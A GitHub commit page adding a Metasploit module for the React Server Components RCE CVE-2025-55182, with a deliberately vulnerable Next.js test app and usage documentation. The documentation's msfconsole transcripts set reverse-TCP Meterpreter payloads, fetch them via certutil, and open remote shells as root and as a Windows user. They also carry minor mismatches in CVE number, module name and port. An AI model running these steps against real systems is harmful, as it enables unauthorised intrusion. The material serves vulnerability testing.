Skip to content

Commit 6627942

Browse files
jheysel-r7jheysel-r7
authored
Merge pull request #20747 from vognik/2025-55182
Add CVE-2025-55182 / CVE-2025-66478
2 parents 2777178 + bdd7cb5 commit 6627942

File tree

11 files changed

+365
-0
lines changed

11 files changed

+365
-0
lines changed

‎data/exploits/react2shell_unauth_rce_cve_2025_55102/Dockerfile‎

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
FROM node:18-alpine
2+
3+
WORKDIR /app
4+
5+
COPY package.json ./
6+
RUN npm install
7+
8+
COPY . .
9+
10+
RUN npm run build
11+
12+
EXPOSE 3000
13+
14+
CMD ["npm", "start"]

‎data/exploits/react2shell_unauth_rce_cve_2025_55102/index.html‎

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
<!DOCTYPE html>
2+
<html lang="en">
3+
<head>
4+
<meta charset="UTF-8" />
5+
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
6+
<title>React RCE</title>
7+
</head>
8+
<body>
9+
<div id="root"></div>
10+
<script type="module" src="/src/main.jsx"></script>
11+
</body>
12+
</html>

‎data/exploits/react2shell_unauth_rce_cve_2025_55102/next.config.js‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
/** @type {import('next').NextConfig} */
2+
const nextConfig = {
3+
output: 'standalone',
4+
}
5+
6+
module.exports = nextConfig

‎data/exploits/react2shell_unauth_rce_cve_2025_55102/package.json‎

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
{
2+
"name": "my-next-app",
3+
"version": "0.1.0",
4+
"private": true,
5+
"scripts": {
6+
"dev": "next dev",
7+
"build": "next build",
8+
"start": "next start",
9+
"lint": "next lint"
10+
},
11+
"dependencies": {
12+
"react": "19.0.0",
13+
"react-dom": "19.0.0",
14+
"next": "15.0.4"
15+
},
16+
"devDependencies": {
17+
"typescript": "^5",
18+
"@types/node": "^20",
19+
"@types/react": "^18",
20+
"@types/react-dom": "^18"
21+
}
22+
}

‎data/exploits/react2shell_unauth_rce_cve_2025_55102/src/app/actions.tsx‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
"use server";
2+
3+
export async function greet(name: string) {
4+
return `Hello, ${name}!`;
5+
}

‎data/exploits/react2shell_unauth_rce_cve_2025_55102/src/app/layout.tsx‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
export default function RootLayout({
2+
children,
3+
}: {
4+
children: React.ReactNode
5+
}) {
6+
return (
7+
<html lang="ru">
8+
<body>{children}</body>
9+
</html>
10+
);
11+
}

‎data/exploits/react2shell_unauth_rce_cve_2025_55102/src/app/page.tsx‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
import { greet } from './actions';
2+
3+
export default async function Home() {
4+
const greeting = await greet("World");
5+
6+
return (
7+
<main style={{ padding: '2rem', fontFamily: 'system-ui' }}>
8+
<h1>{greeting}</h1>
9+
</main>
10+
);
11+
}

‎data/exploits/react2shell_unauth_rce_cve_2025_55102/tsconfig.json‎

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
{
2+
"compilerOptions": {
3+
"lib": ["dom", "dom.iterable", "esnext"],
4+
"allowJs": true,
5+
"skipLibCheck": true,
6+
"strict": true,
7+
"noEmit": true,
8+
"esModuleInterop": true,
9+
"module": "esnext",
10+
"moduleResolution": "bundler",
11+
"resolveJsonModule": true,
12+
"isolatedModules": true,
13+
"jsx": "preserve",
14+
"incremental": true,
15+
"plugins": [
16+
{
17+
"name": "next"
18+
}
19+
],
20+
"paths": {
21+
"@/*": ["./src/*"]
22+
}
23+
},
24+
"include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"],
25+
"exclude": ["node_modules"]
26+
}

‎data/exploits/react2shell_unauth_rce_cve_2025_55102/vite.config.js‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
import { defineConfig } from "vite";
2+
import react from "@vitejs/plugin-react";
3+
4+
export default defineConfig({
5+
plugins: [react()],
6+
});

‎documentation/modules/exploit/multi/http/react2shell_unauth_rce_cve_2025_55102.md‎

Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
## Vulnerable Application
2+
3+
A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server
4+
Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype
5+
pollution during deserialization of RSC payloads by sending specially crafted multipart
6+
requests with "__proto__", "constructor", or "prototype" as module names.
7+
8+
## Testing
9+
10+
### Linux
11+
12+
1. Open `data\exploits\react2shell_unauth_rce_cve_2025_55102` directory
13+
2. Build
14+
```
15+
docker build -t react2shell .
16+
```
17+
3. Run
18+
```
19+
docker run -p 3000:3000 react2shell
20+
```
21+
4. Open http://127.0.0.1:3000/ and make sure the app is available
22+
23+
### Windows
24+
25+
1. Download and install Node.js https://nodejs.org/en/download
26+
2. Open `data\exploits\react2shell_unauth_rce_cve_2025_55102` directory
27+
3. Build the application
28+
```
29+
npm run build
30+
```
31+
4. Start the application
32+
```
33+
npm start
34+
```
35+
5. Open http://127.0.0.1:3000/ and make sure the app is available
36+
37+
## Scenario
38+
39+
### Linux
40+
41+
```
42+
msf6 > use multi/http/react2shell_unauth_rce_cve_2025_55102
43+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
44+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set RHOSTS 172.17.0.1
45+
RHOSTS => 172.17.0.1
46+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set RPORT 3000
47+
RPORT => 3000
48+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set LPORT 6666
49+
LPORT => 6666
50+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set FETCH_SRVPORT 8081
51+
FETCH_SRVPORT => 8081
52+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > run
53+
[*] Started reverse TCP handler on 172.17.0.1:6666
54+
[*] Running automatic check ("set AutoCheck false" to disable)
55+
[+] The target appears to be vulnerable.
56+
[*] Sending stage (3045380 bytes) to 172.17.0.2
57+
[*] Meterpreter session 4 opened (172.17.0.1:6666 -> 172.17.0.2:59608) at 2025-12-05 01:12:48 -0500
58+
meterpreter > getuid
59+
Server username: root
60+
meterpreter > sysinfo
61+
Computer : 172.17.0.2
62+
OS : (Linux 6.11.2-amd64)
63+
Architecture : x64
64+
BuildTuple : x86_64-linux-musl
65+
Meterpreter : x64/linux
66+
```
67+
68+
### Windows
69+
70+
```
71+
msf6 > use multi/http/react2shell_unauth_rce_cve_2025_55102_scanner
72+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
73+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set RHOSTS 192.168.19.137
74+
RHOSTS => 192.168.19.137
75+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set RPORT 3000
76+
RPORT => 3000
77+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set LPORT 6666
78+
LPORT => 6666
79+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set target 1
80+
target => 1
81+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
82+
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
83+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set FETCH_SRVPORT 8082
84+
FETCH_SRVPORT => 8082
85+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set FETCH_COMMAND CERTUTIL
86+
FETCH_COMMAND => CERTUTIL
87+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > run
88+
89+
[*] Started reverse TCP handler on 192.168.19.130:4444
90+
[*] Running automatic check ("set AutoCheck false" to disable)
91+
[+] The target appears to be vulnerable.
92+
[*] Sending stage (203846 bytes) to 192.168.19.137
93+
[*] Meterpreter session 7 opened (192.168.19.130:4444 -> 192.168.19.137:49835) at 2025-12-05 03:00:47 -0500
94+
95+
meterpreter > getuid
96+
Server username: DESKTOP-ABCDEF\vognik
97+
meterpreter > sysinfo
98+
Computer : DESKTOP-ABCDEF
99+
OS : Windows 10 (10.0 Build 19044).
100+
Architecture : x64
101+
System Language : en_US
102+
Domain : WORKGROUP
103+
Logged On Users : 1
104+
Meterpreter : x64/windows
105+
meterpreter >
106+
```

0 commit comments

Comments
 (0)